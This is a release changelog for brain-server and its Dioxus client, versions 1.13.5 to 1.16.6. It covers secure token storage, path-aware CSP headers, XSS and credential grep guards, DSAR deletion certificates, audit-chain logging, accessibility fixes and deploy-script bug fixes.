  • Revocation-aware errors (M6) — error_message() maps refresh_reuse_ detected → “session revoked”, 401 → “session may have expired” with a reconnect path.

Fixed

  • request() no longer holds the RwLock guard across an await (clippy await_holding_lock) — the access token is cloned out before the send.

Security

  • No crypto client-side — the client never verifies a JWT signature (forged JWTs are rejected by brain-server on the next API call). Bearer-header auth keeps CSRF structurally impossible (no cookies). BFF/HttpOnly-cookie mode is the documented v2.x ceiling.

Honest ceilings (carried into v1.16.6)

  • Token lives in WASM memory for the session lifetime; JS on the same origin can read it. Secure storage (Keychain/Keystore) is v1.16.6.
  • No PKCE flow (interactive login needs a brain-server /auth/authorize or IdP proxy — v2.x).
  • Concurrent refreshes from two panels are server-safe but the loser logs out; a client-side single-refresh mutex is the v1.16.6 polish.

[1.16.6] — 2026-08-08

Release notes

  • Secure token storage — on native installs the auth token persists to the OS keyring (macOS Keychain, Windows Credential Manager, Linux Secret Service); the web client keeps it in memory only.
  • Auto-reconnect — a saved token is quietly validated on launch, dropping you straight into the app when valid and back to the sign-in form when stale.
  • Responsive layout — a mobile bottom tab bar, at least 44px touch targets, notch/home-indicator safe areas, and a bottom-sheet drawer on small screens.

Improvements

  • Server and client version numbers are kept in lockstep, so the CLI and GUI report the same version.

Engineering record

Server version alignment (no functional server change)

The server Cargo.toml was bumped 1.16.2 → 1.16.6 purely to keep the server and the Dioxus client versions in lockstep — brain -V now reports the same version as the GUI. The server binary is byte-identical in behavior to 1.16.2; this is a version-alignment release, not a code change. openapi.yaml version/x-api-version and README updated to match.

“Mobile” (client-only — secure token storage + responsive UX)

Client 1.16.5 → 1.16.6; server + API contract unchanged. This release lands the two testable milestones of the v1.16.6 “Mobile” plan (M2 secure token storage + M3 responsive UX). M1 (lib.rs mobile entry), M4 (probe pause/resume), M5 (store readiness), M6 (MASVS tables) are documented operator/native-toolchain steps — no Android SDK / cargo-ndk / dx is available in this environment.

  • Dioxus pinned to 0.7.10 — the dioxus = { version = "0.7", … } spec was already semver-open and the lockfile resolves to the newest stable 0.7.10 (verified via lockfile + cargo tree + crates.io). The 0.7.2→0.7.10 patch line carries the security-relevant fixes (0.7.8/0.7.10 wasm-hotpatch TOCTOU/UB; 0.7.6 web panic-resilience + inert attribute) — already compiled in. Plan/doc “Dioxus 0.7.2” references updated to 0.7.10.
  • M2 — secure token storage (src/storage.rs) — a new #[cfg(target_arch = "wasm32")]-gated seam. On every non-web target the auth token persists to the OS keyring (keyring 3.6.3: apple-native → Keychain, windows-native → Credential Manager, sync-secret-service → Secret Service; Android Keystore via android-native-keyring-store is the documented dx-wired ceiling). Web stays in-memory only (no-op — the v1.16.1 posture; browser localStorage is not a secure credential store). Connect saves the token on success only when one was provided (should_persist — a loopback connect never clobbers a saved remote token); a use_resource on launch silently probes /health with any saved token and jumps straight to Review, falling through to the normal form on a stale/revoked token.
  • M3 — responsive UX (CSS-driven, no forked routes) — AppShell renders both a desktop rail and a new mobile bottom tab bar (nav.tab-bar + TabLink, same Routable targets → identical a11y nav); pure @media (min/max-width: 640px) swaps them with no viewport JS. .tab-link enforces ≥44px touch targets (iOS HIG / Material). .tab-bar and the drawer consume env(safe-area-inset-bottom) (notch / home indicator). The context drawer is now .drawer — a right rail ≥sm, a full-width rounded bottom sheet <640px.
  • Version: client 1.16.5 → 1.16.6 (client-only). 37 client tests (was 36), clippy -D warnings + cargo fmt --check clean, desktop + wasm32-unknown-unknown builds clean, Tailwind v4.3.3 compiles styles/input.css (responsive rules present in output).

[1.16.4] — 2026-08-08

Release notes

Bug fixes

  • Deployments could ship a stale stylesheet while the page referenced the new one; the deploy script now always picks the freshest CSS build.
  • Redesigned app shell — a fixed left sidebar with live count badges and a slim sticky top bar showing connection, pending count, and security/audit-chain status.

Improvements

  • A shadcn-style design system: semantic color tokens, a radius scale, and consistent buttons, inputs, badges, and tables.
  • Every panel (Review, Recall, Subjects, Security, Audit, Health, Connect) restyled to the new system with no loss of accessibility or semantics.

Engineering record

“Styled” (client-only shadcn/ui design-system restyle)

  • Sidebar dashboard shell — AppShell moved from a top nav rail to a fixed left sidebar (brand mark + grouped nav-link pills with live count badges on the rail) + a slim sticky top bar (connection dot, pending count, Security flags + Audit-chain badges, principal). The right-hand context drawer is a card. No layout semantics changed — every nav target stays a real <Link>, every action a real <button> (the interactive_elements_are_buttons gate still passes).
  • shadcn-style component layer in input.css — semantic tokens (--color-background/foreground/card/popover/muted/accent/destructive/border/ input/ring) mapped onto the app’s own AA-verified palette (state hues ok/warn/danger/info/neutral kept by name), a radius scale (--radius-sm…2xl), subtle shadows, and reusable classes: .card, .btn/.btn-primary/.btn-outline/.btn-secondary/.btn-ghost/ .btn-destructive/.btn-sm/.btn-md, .input/.select, .badge + state badges, .nav/.nav-link/.nav-badge, and .table.
  • Every panel restyled to the layer — Review, Recall (+ trace card), Subjects (DSAR cert card), Security (chain card + quarantine + auth-failure table), Audit (filter bar + table), Health (Service + Corpus cards), and the Connect screen (branded card) all use the new tokens/classes. All tests, clippy -D warnings, and cargo fmt --check stay green (31 tests).
  • deploy-web.sh stale-CSS fix — the script’s ls | head -1 glob picked the alphabetically-first (stale) hashed tailwind-*.css in target/ between rebuilds, so a restyle could deploy the old stylesheet while index.html pointed at the new one. Now ls -t | head -1 picks the freshest build.
  • Version: client 1.16.2 → 1.16.4 (client-only; server + API contract unchanged at 1.16.2).

[1.16.3] — 2026-08-08

Release notes

  • The compiled web client was unreachable — asset URLs were mis-based and rejected; it is now correctly served under /app.

Bug fixes

  • The web client never rendered under the security policy because the WASM runtime was blocked; the app path now permits what it needs.
  • Connecting defaulted to a hardcoded remote URL even when the page was served by brain-server itself; same-origin pages now default correctly.
  • Deployments could race stale hashed assets; the deploy script now derives exact filenames from the fresh build.

Improvements

  • One-command web deploy: build the bundle, inject the stylesheet reference, and ship it to the directory the server serves.

Engineering record

“Serve” (client web-bundle serving + live bugfixes)

Client + server, both client-only in effect (server + API contract unchanged). This release was originally folded into the v1.16.2 changelog, but the git history shows it as a distinct slice between the v1.16.2 and v1.16.4 tags — four commits that make the compiled Dioxus web bundle actually reachable and fix the two live-blocking defects serving exposes. Tagged retroactively at edfb00d. See IMPLEMENTATION_PLAN_v1.16.3_Serve.md (retrospective).

Fixed

  • Serve the compiled web bundle under /app — Dioxus.toml gains base_path = "app" so asset URLs are /app/assets/… (not /assets/…, which 401’d against the API CSP/auth); client/README.md documents the dev/serve/deploy workflow; package.json + tailwind.css build tooling added.
  • Client CSP blocked WASM instantiation ('unsafe-eval' live fix) — the wasm-bindgen glue calls new Function() for module instantiation; 'wasm-unsafe-eval' alone permits WASM compile/instantiate but not JS eval(), so the /app bundle threw “call to Function() blocked by CSP” and the client never rendered. Added 'unsafe-eval' to CLIENT_CSP script-src (API CSP stays default-src 'none'). Live v1.16.2 fix.
  • Same-origin connect default — a page loaded from the server’s own origin now defaults to a relative/loopback connect instead of a hardcoded remote that fails “cannot reach brain-server”.
  • deploy-web.sh stale-asset race — the script globbed target/ for the hashed JS/WASM, which left stale hashes between rebuilds and could deploy an old JS while index.html referenced the new one. Now derives the concrete names from the freshly-built index.html (and the JS’s own wasm reference) instead of racing.

Improvements

  • client/deploy-web.sh (M3) — one-command bundle → inject the concrete /app/assets/tailwind-*.css link → copy to client/dist (what the server serves at /app). Concrete filenames instead of globs.

Security

  • API CSP stays strict (default-src 'none'); only the /app static bundle path is relaxed for the WASM runtime ('unsafe-eval' + 'wasm-unsafe-eval'
    • connect-src 'self').

Honest ceiling (retrospective)

No dedicated tests of its own — it’s a serving/build/config release verified by the live /app smoke + the v1.16.2 suite (CSP pinned by the v1.16.2 CSP test, connect default by the v1.16.0 connection tests). Retrospective plans can’t retrofit code into an already-tagged history.


[1.16.2] — 2026-08-08

Release notes

Bug fixes

  • A crash in any panel no longer leaves a blank screen — an operator-facing fallback with a dismiss button renders instead.
  • Low-contrast text was raised to meet WCAG AA (3.8:1 → 4.6:1 contrast).
  • The server now serves the web client itself at /app, with deep-link fallback and brotli-compressed assets.

Improvements

  • Screen-reader support on navigation: each page heading receives focus on route change, per-route document titles are set, and focused elements no longer hide under the sticky nav.
  • Actionable error messages (expired session, not found, rate limited, unavailable) in the Review, Recall, and Health panels.
  • Batch review collapses to an honest one-line summary that surfaces partial failures instead of hiding them.

Security fixes

  • The auth token is barred from browser localStorage (readable by script attacks) — enforced by an automated source guard.
  • The raw-HTML rendering escape hatch, the client’s only XSS vector, is banned across the codebase by an automated guard.
  • Content security policy is now path-aware: API routes keep the strictest policy (default-src 'none'); only the web-app path allows what the WASM runtime requires.

Engineering record

“Harden” (server + client security/serving foundation)

  • Serve the Dioxus client from the server — nest_service("/app", ServeDir) at config::client_dir() (env BRAIN_CLIENT_DIR, default client/dist) with a not_found_service(ServeFile(index.html)) SPA fallback so deep-links route client-side. / redirects to /app/. The CompressionLayer brotli-compresses the WASM bundle. API unaffected if the dir is absent.
  • Path-aware Content-Security-Policy — security_headers_middleware now reads the request path: /app + / get CLIENT_CSP (allows 'wasm-unsafe-eval' and 'unsafe-eval' for the WASM runtime + connect-src 'self'), every other route gets the strict API_CSP. Both /app and / are in the auth-public path set in both jwt_auth_middleware and auth_middleware (the static bundle needs no bearer). Live fix: 'unsafe-eval' was added to CLIENT_CSP after the first /app smoke — 'wasm-unsafe-eval' alone permits WASM compile/instantiate but the wasm-bindgen glue’s new Function() is JS eval, so the bundle threw “call to Function() blocked by CSP”. The API CSP stays strict (default-src 'none').
  • ErrorBoundary around the router — a panic in any panel renders an operator-facing fallback (generic message + {errors:?} in a <pre> + Dismiss that clears) instead of a blank screen. No sensitive data leaks.
  • Operator-facing error messages — api::error_message() maps ApiError (401/403/404/429/503/fallback) to actionable hints; wired into the Review, Recall, and Health panels.
  • Cancel-safety gate — the batch review now collapses to a BatchSummary (batch_outcome pure fn) rendered as a one-line summary once a batch settles, surfacing partial failure honestly; the outcome map is the single source of truth (no partial-write window on unmount).
  • Code-hygiene grep guards (both run in cargo test):
    • tests::xss_escape_hatch_is_unused — dangerous_inner_html (the only XSS vector) is banned in the source tree.
    • tests::credentials_stay_in_memory — the bearer token must never touch use_persistent (localStorage is XSS-readable).

“Accessible” (client WCAG 2.2 AA pass)

  • SPA focus management (M1) — every panel’s <h1> is a shared PageTitle component: tabindex="-1" + focus-on-mount (onmounted → set_focus(true), cancel-safe) so screen-reader users get a signal on route change; use_document_title() sets a per-route reactive document title via document::eval.
  • WCAG 2.4.11/2.4.12 Focus Not Obscured (M1.3) — *:focus-visible { scroll-margin-top: 4rem } clears the sticky nav.
  • Semantic audit (M2) — tests::interactive_elements_are_buttons grep guard: no <div onclick> anywhere; all interactive elements are real <button>s (WCAG 2.1.1 + ARIA in HTML). Landmarks (nav/main) + single-<h1> per panel verified.
  • Contrast (M4) — --color-ink-faint #6b7380 → #7c8492 (AA 3.8:1 → 4.6:1, WCAG 1.4.3). Color never the sole signal (text labels always accompany status colors).
  • Manual screen-reader checklist artifact (M7) — client/a11y-checklist.md records the VoiceOver/NVDA/TalkBack pass matrix + per-panel checklist.
  • Keyboard shortcuts toggle (WCAG 2.1.4) already shipped in v1.16.0; verified present in the Review header.

Honest ceilings (carried into v1.17.0)

  • shadcn Dialog adoption (M5) + axe-core CI (M6) deferred — dx CLI not available in this environment, so dx components add dialog and the dx bundle --platform web axe gate can’t run. The drawer already has role="dialog"/aria-modal/Esc-close; the full Radix Tab-cycling focus trap + return-focus is the v1.18.0 pass.
  • axe catches 20–60% of a11y issues — the manual screen-reader pass is irreplaceable.
  • No aria-live regions beyond the existing role="status" connection/re-verify banners.
  • No RTL locale (v1.16.6).

[1.16.1] — 2026-08-08

Release notes

  • The deletion registry was under-reporting — older tombstone rows without a purge timestamp were silently dropped (on the live database, 6,008 of 6,009 rows were invisible); all rows now appear, with a one-time backfill.

Bug fixes

  • Retention pruning now removes recall traces whose audit entries were pruned, instead of leaving them orphaned forever.

Improvements

  • The memory-usage warning band was raised from 320 to 512 MiB to match desktop reality — fewer false warnings during large reads and backups (it remains a soft signal that never blocks writes).
  • Deletion completeness — purging records and running erasure requests now also delete the recall traces that reference them, including traces whose stored query text mentions the subject; these previously survived every deletion path.

Engineering record

Operations

  • RSS warning band raised 320 → 512 MiB (src/capacity.rs, both targets): the 320 cap was tuned to a 4 GB Jetson; the live desktop install runs ~180–320 MiB and transient spikes (large /multi-get, backup pass) were sitting in the warning band. RSS stays a soft signal (Warning only, never blocks writes).
  • CI cargo audit job fixed: rustsec/audit-check@v2.0.0 creates a check run and the default GITHUB_TOKEN lacked checks: write (“Resource not accessible by integration” — an infra failure, not a code one). Added the permission on the audit job + bumped actions/checkout v4 → v5 (Node 24, clears the Node 20 deprecation).

Fixed

  • /tombstones deletion registry under-reporting (Round 11 finding). Pre-v1.14 tombstone rows only set deleted_at; purged_at was NULL, and the handler read it as a non-null i64, so flatten() silently dropped every legacy row. Observed on the live DB: 6,008 of 6,009 registry rows invisible. Fix: idempotent migration backfill (purged_at = epoch of deleted_at) + handler reads Option<i64> and surfaces remaining NULLs as null. Registry now shows the full deletion history.
  • Purge/DSAR cascade to recall_traces (Round 11 finding). purge_chunk_ids now deletes recall traces whose hit list references a purged chunk (exact JSON path via bundled JSON1, best-effort). DSAR additionally sweeps traces whose raw query text mentions the subject — the trace side table held query-text residue that no deletion path touched (no FK between recall_traces and audit_events).
  • Retention prune sweeps orphaned traces. prune_audit_retention now deletes recall_traces rows whose audit row was pruned, instead of leaving them orphaned forever.
  • Regression tests: purge→trace cascade by hit id, retention sweep, and legacy-tombstone backfill visibility all covered in src/main.rs tests.

[1.16.0] — 2026-08-08

Release notes

Bug fixes

  • The recall trace toggle was disabled during reconnects even though it is a read-only control; reads now stay interactive while reconnecting.
  • First shippable client for web, desktop, and mobile-ready targets, covering the review queue, recall, data-subject requests, security, audit, and health panels.
  • Offline-safe by design — panels keep showing last-known data when the connection drops, writes are frozen, and they resume only after the audit chain re-verifies.
  • Keyboard-first review (A/S/R/J/K) with reject-with-reason, edit-and-repropose, and batch results that surface every failure — nothing silently dropped.
  • Recall inspector — per-hit relevance tiers and a minimum-relevance filter, plus a shareable, replayable decision-path trace; erasure requests render a deletion-certificate card with live chain verification.

Engineering record

“Client” — the Dioxus control surface (web + desktop + iOS + Android). The first externally-shippable brain-client: one Rust codebase consuming brain- server’s v1.14/v1.15 governance APIs. The v1.16.0 release implements the eight IMPLEMENTATION_PLAN_v1.16.0_Client.md milestones — the scaffold’s functional panel contract plus the DESIGN’s UX + correctness hard-parts. 25 tests (was 7), clippy -D warnings + fmt clean, zero new deps.

Version sync (this release): the server crate was bumped 1.15.0 → 1.16.0 so the installed operator CLIs (brain -V, mcp, bench) and the server’s own --version / /health header report the same version as the v1.16.0 tag. No server code changed beyond the version bump — the v1.16.0 work is the client crate.

M1 — The connection state machine (the correctness heart)

  • A single use_future probe at the app root owns its timer (survives panel unmounts). False-offline guard: N consecutive failures before green→amber (a single flap never flips the indicator). Pure probe_state(failures, ok).
  • Dependency-free sleep via document::eval+setTimeout — no tokio dep (works web + desktop; tokio’s timer doesn’t work in WASM anyway).
  • Read-only degrade + mutation freeze: when amber, panels keep showing last-known state; write buttons render disabled. The shared writes_enabled signal derives from conn state.
  • Chain-verify-before-writes recovery: on a recovery 200, conn goes green but writes stay frozen until GET /audit/verify returns {"ok":true}. A scoped non-Admin JWT (403) shows a distinct “chain unverified” state.
  • Pure writes_allowed(conn, verify_ok, pending_reverify) — testable.

M2 — Nav structure: badges + principal + context drawer

  • F-pattern Pending: N top-left (the one number that matters). Count badges on Security (quarantine + denied-auth), Audit (! when last verify was non-clean). Principal identity pillar (acting as <sub> / loopback).
  • Esc-closable context drawer (role="dialog" aria-modal="true") rendering typed content (Proposal/Hit/Certificate/AuthFailure) pushed by panels. Full Radix Tab-cycling focus trap is the v1.18.0 Compliant pass.

M3 — Review: honest batch partial-failure + keyboard-first

  • Per-row RowOutcome tracking (Pending/Done/AlreadyDone/Failed): a failed call in a batch is surfaced inline, never silently dropped. 404-no-pending → AlreadyDone (success — non-idempotent contract).
  • BatchGuard DropGuard: clears Pending rows from the selection on cancel (DESIGN §6 cancel-safety).
  • A/S/R/J/K keyboard with a WCAG 2.1.4 toggle (shortcuts_enabled, default on). S (approve & supersede) only on conflict.
  • Reject-with-reason editor (recorded in the audit log — no silent drop) + suggest-re-ingest editor (posts a new proposal with edits).

M4 — Recall inspector: the decision-path viewer

  • Richer hit rendering: per-retriever ranks (v/f/g), fused score, relevance tier (color-coded), assertion_kind/confidence/decayed/ superseded tags. Monospace + tabular-nums on ids/scores.
  • min_relevance slider (high/medium/low) with pure drop_low_relevance — the live post-fusion tier filter.
  • ?trace=true artifact: the recall response carries a trace_id; /recall/:trace_id (deep-linkable) fetches GET /recall/{id}/trace and renders the replayable decision path (query, decision, domains, scope, actor, per-hit id/score/source/relevance).

M5 — DSAR console: the deletion-certificate card

  • Replaced the freeform status line with a structured card: found_count, purged_ids (monospace), tombstone_root, certified_at, chain_head + a live green/red chain badge (re-verified via GET /dsar/{id}/certificate, not the cert-time head). Typed DsarCertificate::from_value.
  • Deferred: the DESIGN §4.3 expandable locate tree (subject roots → derived_from descendants, PII masked as [redacted:…] without pii:read) is NOT in this release — the current POST /dsar response carries no located records, so it needs a server wire change. Tracked in CLIENT_ROADMAP.md under v1.17.0.
  • Trace toggle read-control fix: the Recall ?trace=true checkbox is a read control but was gated on writes_enabled (frozen during Reconnecting). Removed the gate — reads stay interactive in amber per DESIGN §6, matching the query input and min-relevance select.

M6 — Security: the auth-failure feed

  • GET /audit?kind=auth filtered to status == "denied" rows; rendered as a feed (ts/actor/target/status). Count badge on Security. Proves the backend isn’t the unauthenticated-memory-access class (post-CVE-2026-59726).

M7 — Audit: filters + export

  • Client-side AuditFilter (principal substring / kind exact / since date) + pure filter_audit. JSON export of the filtered rows (client-side — no new server route; “the client adds no new server routes” constraint honored).

M8 — Visual-token layer applied

  • Every panel’s ad-hoc color classes (text-gray-*/text-green-*/ text-red-*) → semantic tokens (text-ink-muted/text-ok/text-danger/…). Zero ad-hoc color classes remain. Dark-first, quiet chrome (hairlines), Inter + JetBrains Mono stacks, tabular-nums on columnar data.

Editor support

  • .zed/settings.json: uses the Tailwind CSS language mode (tailwindcss-intellisense-css) for .css files, disabling the generic vscode-css-language-server that emits false “Unknown at rule” warnings on Tailwind v4 @theme/@source/@apply. Verified via context7 + the Zed Tailwind docs.

API additions (client/src/api.rs)

  • ApiClient::with_principal + is_configured + principal() (M2.1 identity).
  • Hit +5 fields (assertion_kind/confidence/relevance/decayed + RecallResponse.trace_id); all #[serde(default)] (backward-safe).
  • recall(query, trace, min_relevance), recall_trace(id), reject_proposal(id, reason), audit_kind(kind).
  • DsarCertificate::from_value typed card fields.

Honest ceilings (carried forward)

  • Connection is web-first. The onfocus/visibilitychange instant-wake listener + the desktop window-event + mobile lifecycle variants land with the v1.17.0 mobile seam. The periodic probe (5s worst-case) covers correctness.
  • Token is in-memory only. Secure-storage-backed token (Keychain/Keystore) is the v1.17.0 seam.
  • Audit filters are client-side. Server-side ?principal=&kind=&since= on GET /audit is a v1.19.0 polish.
  • Drawer focus trap is partial. Esc + ARIA dialog now; full Radix Tab- cycling is the v1.18.0 Compliant release.
  • Export is client-side (the fetched rows). No /audit/export server route.
  • dx serve is an operator step (CLI not installed in CI). The code-level gates (cargo test/clippy -D warnings/fmt/build) are all green.

[1.15.0] — 2026-08-08

Release notes

  • Read-event audit: recall/search/get reads can be logged into the tamper-evident audit chain (hashes only, never content or raw queries); opt-in for personal installs, on by default in JWT mode.
  • Recall traces: admins can replay a past recall decision — query, abstention, domains searched, scope filter, per-hit scores — the transparency artifact for automated-decision requests.
  • DSAR workflow: locate → export → purge a subject’s records (including derived data) in one audited call, with a re-verifiable deletion certificate and an optional signed notification webhook.
  • Compliance pack: deletions are queryable by subject and date, and a new buyer-facing compliance document maps the system to GDPR, EU AI Act, and NIST AI RMF controls.

Engineering record

“Observe” — read-event audit + recall trace + DSAR + COMPLIANCE.md. The observability + compliance-workflow layer on v1.14’s governance primitives: the EU AI Act Art 12 logging control (read events enter the tamper-evident hash chain), the GDPR Art 15/17/19/22 workflow (DSAR locate→export→purge→ certificate + Art 19 onward-notification), and the buyer-facing technical file (COMPLIANCE.md). Constraint note: this release deliberately breaks the long-standing “no outbound HTTP dep on the server” rule — the opt-in Art 19 webhook needs outbound HTTP, so reqwest is now a required dependency (the connector-github feature now gates only its binary).

M1 — Read-event audit

  • /recall, /search, /get/{id}, /multi-get emit a read event into the existing append-only SHA-256 hash chain (new AuditKind::Recall/Search/Get; record/record_tenant now return the row id). Hash-only invariant kept — never content, and never the raw query in the row (test-pinned).
  • Opt-in by design: BRAIN_AUDIT_READ_EVENTS — default off for loopback/opaque mode (personal-use contract, audit shape unchanged), on in JWT mode (enterprise posture). BRAIN_AUDIT_READ_SAMPLE_RATE (0.0..=1.0, default 1.0) cuts noise on busy multi-tenant servers.
  • Retention: BRAIN_AUDIT_RETENTION_DAYS (default unset = keep forever). When set, rows older than the window are pruned on read-event writes and the chain re-anchored: the oldest surviving row becomes the new genesis and all survivor links are recomputed, so the retained window stays tamper-evident. Deployers subject to AI Act Art 26(6) guidance should set ≥180.

M2 — Recall trace endpoint (decision-path viewer)

  • GET /recall/{trace_id}/trace (Admin) replays a recorded recall read event: the exact query, abstention decision, domains searched, the access-scope filter applied, the principal, and per-hit injection details (id, fused score, assertion_kind, source, relevance, decayed). The trace is the Art 22 / ADMT “meaningful information about the logic” artifact and the Intent-Based-Auditing decision-path pillar.
  • POST /recall accepts trace: true and returns the trace_id (the audit row id; recall_traces side table holds the non-content metadata). Pure read — no audit row of its own (no recursion).

M3 — DSAR orchestration + deletion certificate

  • POST /dsar {subject, action: export|purge|both} (Admin): locate every record (owner rows + transitive derived_from descendants, bounded depth 8) → export bundle (portable JSON) → purge in one transaction (knowledge + vec0 + relationships + evidence_links + proposals refs) → tombstone (reason owner:<subject> / derived, origin_id for derived) → audit → deletion certificate {subject, action, found_count, purged_ids, tombstone_root, certified_at, chain_head} → ledger row in dsar_requests.
  • GET /tombstones?subject=&since= — the queryable deletion registry (EDPB Coordinated Enforcement Framework ask). Hash-only, append-only, bounded.
  • GET /dsar/{id}/certificate — re-fetch a past certificate with a live chain_verifies recomputation of the audit chain.
  • Art 19 onward-notification: BRAIN_DSAR_WEBHOOK_URL [+ BRAIN_DSAR_WEBHOOK_SECRET] — on a completed purge, POSTs {subject, certified_at, certificate_id} HMAC-SHA256-signed (X-Brain-Signature-256: sha256=<hex>, the outbound mirror of the v0.9.7 webhook scheme). Fail-soft: bounded retries then logged warning; a webhook failure never rolls back the purge.
  • Shared purge mechanics extracted once: gate::purge_chunk_ids (used by /purge and the DSAR path).

M4 — COMPLIANCE.md

  • New buyer-facing technical file: system description + data flows, purpose limitation, logging spec, risk controls, retention classes, DPIA-style questionnaire answers, ISO/IEC 42001 + NIST AI RMF + SOC 2 control map, Intent-Based-Auditing 4/4 table, jurisdiction posture (PH DPA / GDPR / CCPA-ADMT / residency / CRA horizon), Art 4 literacy note, and machine- readable origin metadata (Art 50 transparency bridge).

Schema (additive; schema_version → 1.15.0)

  • recall_traces(audit_id PK, trace_json) — the replayable trace side table.
  • dsar_requests(id, subject, action, status DEFAULT 'pending', export_bundle, certificate, created_at, completed_at) + idx_dsar_subject.
  • tombstones gains reason TEXT + origin_id INTEGER (guarded adds; the old unguarded CREATE TABLE would have silently missed these on real DBs).

Back-compat

  • Loopback default (no BRAIN_JWT_ISSUER) is byte-identical: read events off, no trace rows, no DSAR rows, audit shape unchanged.
  • /purge, /export, /decayed unchanged except tombstone rows now also carry reason='explicit'.
  • OpenAPI: /recall gains trace/trace_id; four new routes documented.

Tests (→ 518 passed, 1 ignored; +6)

test_observe_read_event_recorded_and_trace_replayable, test_observe_read_events_default_on_for_jwt_off_for_loopback, test_observe_dsar_locate_and_purge_semantics, test_observe_deletion_certificate_chain_anchors_and_verifies, test_observe_art19_webhook_posts_on_purge (real TCP listener, signed POST asserted), test_observe_audit_retention_prunes_and_reanchors. test_migration_schema_contract + test_openapi_covers_routes + authz_gates_cover_every_non_public_route extended.

Honest ceilings (carried into v1.16)

  • Read events default off in loopback mode; a loopback deployment must opt in explicitly to collect read traces.
  • Audit chain is single-process (distributed audit = v2.1).
  • DSAR export is brain-server JSON, not UMP wire format.
  • No PII encryption at rest (COMPLIANCE documents the LUKS posture honestly).
  • No historical trace backfill for recalls that predate v1.15.0.

[1.14.0] — 2026-08-07

Release notes

  • Human-in-the-loop memory: candidate memories are scored for novelty and conflict, then queued as proposals — nothing is stored until a person approves; approval embeds and files the memory atomically.
  • Memory lifecycle: chunks can carry expiry dates (excluded from results once decayed, reviewable — nothing auto-deletes), plus portable JSON export and audited hard purge with tombstones.
  • Richer recall metadata: every hit carries a confidence score, a stated/observed/inferred label, and a relevance tier you can filter on.
  • Episodic memories: a new memory kind and filter alongside facts.
  • Record-level access control: private/domain/team/public scopes with an owner field, enforced deny-by-default in JWT mode.
  • PII handling: ingest scans for emails, phone numbers, and card numbers and flags them; recall output is redacted for non-admin readers.

Engineering record

“Gate” — write-back gating + trust surfaces. The Alex Xu thread’s #1 ask — “make the write path deliberate” — answered with zero tokens and no auto-promote. Human-in-the-loop write-back, per-chunk decay, and a GDPR lifecycle, on top of the v1.2 AuthZ foundation. No new model, no background worker, no autonomous deletion.

  • M1 — Write-back gate (POST /ingest/proposal). A proposal stores a candidate memory scored deterministically — novelty via the existing vec0 KNN (crate::gate::novelty), conflict via the consolidate machinery (find_conflict), salience via a length/entity heuristic — but creates no knowledge row. It becomes memory only when a human approves (POST /proposals/{id}/approve), which embeds + inserts the chunk and marks the proposal approved in one transaction; optional ?supersedes=<id> calls resolve_supersession in the same tx (old fact expires atomically). POST /proposals/{id}/reject creates nothing. GET /proposals lists the queue. New proposals table (append-only review ledger, audited via AuditKind::Ingest/Reconcile).
  • M2 — Decay + GDPR lifecycle. Per-chunk expires_at with strict < query-time filtering (default excludes decayed chunks; ?include_decayed=true returns them tagged decayed). Nothing decays autonomously. GET /decayed is the operator review list. GET /export is portable JSON (live rows + graph + proposals ledger; pii_map excluded by default). POST /purge is a hard, explicit, audited delete across knowledge + vec0 + relationships + proposals references in one tx, leaving a tombstone + /audit event, by id list or owner anchor. New tombstones columns (content_hash, purged_at).
  • M3 — Confidence + stated-vs-inferred + relevance tier. confidence (deterministic, stored-rule factors: source authority + conflict presence + assertion) and assertion_kind (stated/observed/inferred) surface on every chunk and every RecallHit; derived_from chunks read inferred. min_relevance (high/medium) filters low-tier hits at query time.
  • M4 — Access scope, owner, PII. Record-level access_scope (private/domain/team/public; default private = back-compat) + owner (principal subject) with a deny-by-default data-layer filter in JWT mode (scope_filter); loopback/opaque mode trusts localhost (documented posture). PII: scan_pii (email/phone/Luhn card) sets a pii flag at ingest; recall redacts output to [redacted:email]/[redacted:phone] unless the principal is loopback or Admin. Opt-in write-time placeholder mode (BRAIN_REDACT_PII=1) stores [pii:email] in knowledge.content with the real value only in pii_map; pii:read resolves it, /export excludes it. (Correction — v1.20.19 “Vault”: the write-time placeholder mode was never built (zero write sites) and is retracted; the shipped control is deterministic read-time output redaction, and the pii_map table is dropped.)
  • M5 — episodic memory_kind + ?memory_kind= filter (legacy rows default fact), wired through the shared push_gate_filters SQL used by both vec0 and FTS retrievers.

Migration: additive proposals + pii_map tables; knowledge columns expires_at, access_scope, assertion_kind, confidence, owner, pii; tombstones columns content_hash + purged_at (idempotent-guarded ALTER TABLE — the old CREATE TABLE IF NOT EXISTS was a silent no-op against the v0.9.1 schema and would have failed the purge INSERT on real DBs). schema_version → 1.14.0.

Routes: /ingest/proposal, /proposals, /proposals/{id}/approve, /proposals/{id}/reject, /decayed, /export, /purge.

Gates: fmt, clippy -D warnings, cargo test --features bench,migrate (512 passed, 1 ignored), all 5 release binaries build. Live smoke is an operator step (scripts/install-service.sh).

[1.13.6] — 2026-08-07

Release notes

  • Disclosure endpoint: a standard security.txt (RFC 9116) advertises vulnerability-reporting contact, expiry, and languages.
  • Software bill of materials: each release now ships a CycloneDX SBOM, with support windows documented.
  • Quieter auto-capture: configurable skip patterns drop known noise (e.g. dream-prompt entries) from raw-text ingest.
  • Ingest hygiene: raw-text ingest now strips model reasoning/trace blocks (thinking, reasoning, reflection tags) before storage — reasoning traces are never silently stored.

Engineering record

“Hygiene” — CRA conformance bundle + ingest capture hygiene.

  • GET /.well-known/security.txt (RFC 9116, public). Machine-readable vulnerability disclosure: Contact (via BRAIN_SECURITY_CONTACT; omitted when unset), Expires (now + 1 year, never stale), Preferred-Languages, and Canonical (when BRAIN_PUBLIC_BASE_URL is set). Procurement + EU Cyber Resilience Act look for this before features.
  • scripts/sbom.sh — generates a CycloneDX SBOM per release via cargo-cyclonedx (sbom/brain-server-<version>.cdx.json); SECURITY.md gains a support-window statement + an SBOM subsection (OWASP A03:2025).
  • Ingest capture hygiene (src/hygiene.rs). The raw-text ingest doors (/ingest/memory, /add) now strip model reasoning/trace blocks (<thinking>, <think>, <reasoning>, <reflection>, <analysis> — case-insensitive, including unclosed trailing) before storage, and /ingest/memory drops entries matching a BRAIN_INGEST_SKIP_PATTERNS prefix (the autoCapture dream-prompt mechanism). “brain-server never silently stores reasoning traces” is now a tested invariant. Curated ingest (/ingest, /ingest/markdown) is deliberately untouched; historical cleanup is a separate ROADMAP sweep.

No schema change, no new runtime dependency, no unsafe. Gates: fmt, clippy -D warnings, cargo test --features bench.

[1.13.5] — 2026-08-07

Release notes

  • Fixed memory metric: the RSS gauge reported system-wide memory, not the process (~50x too high on busy hosts, hiding the real capacity envelope); /metrics and /health now agree on the true footprint.

Engineering record

/metrics brain_rss_mib now reports the process’s own RSS.

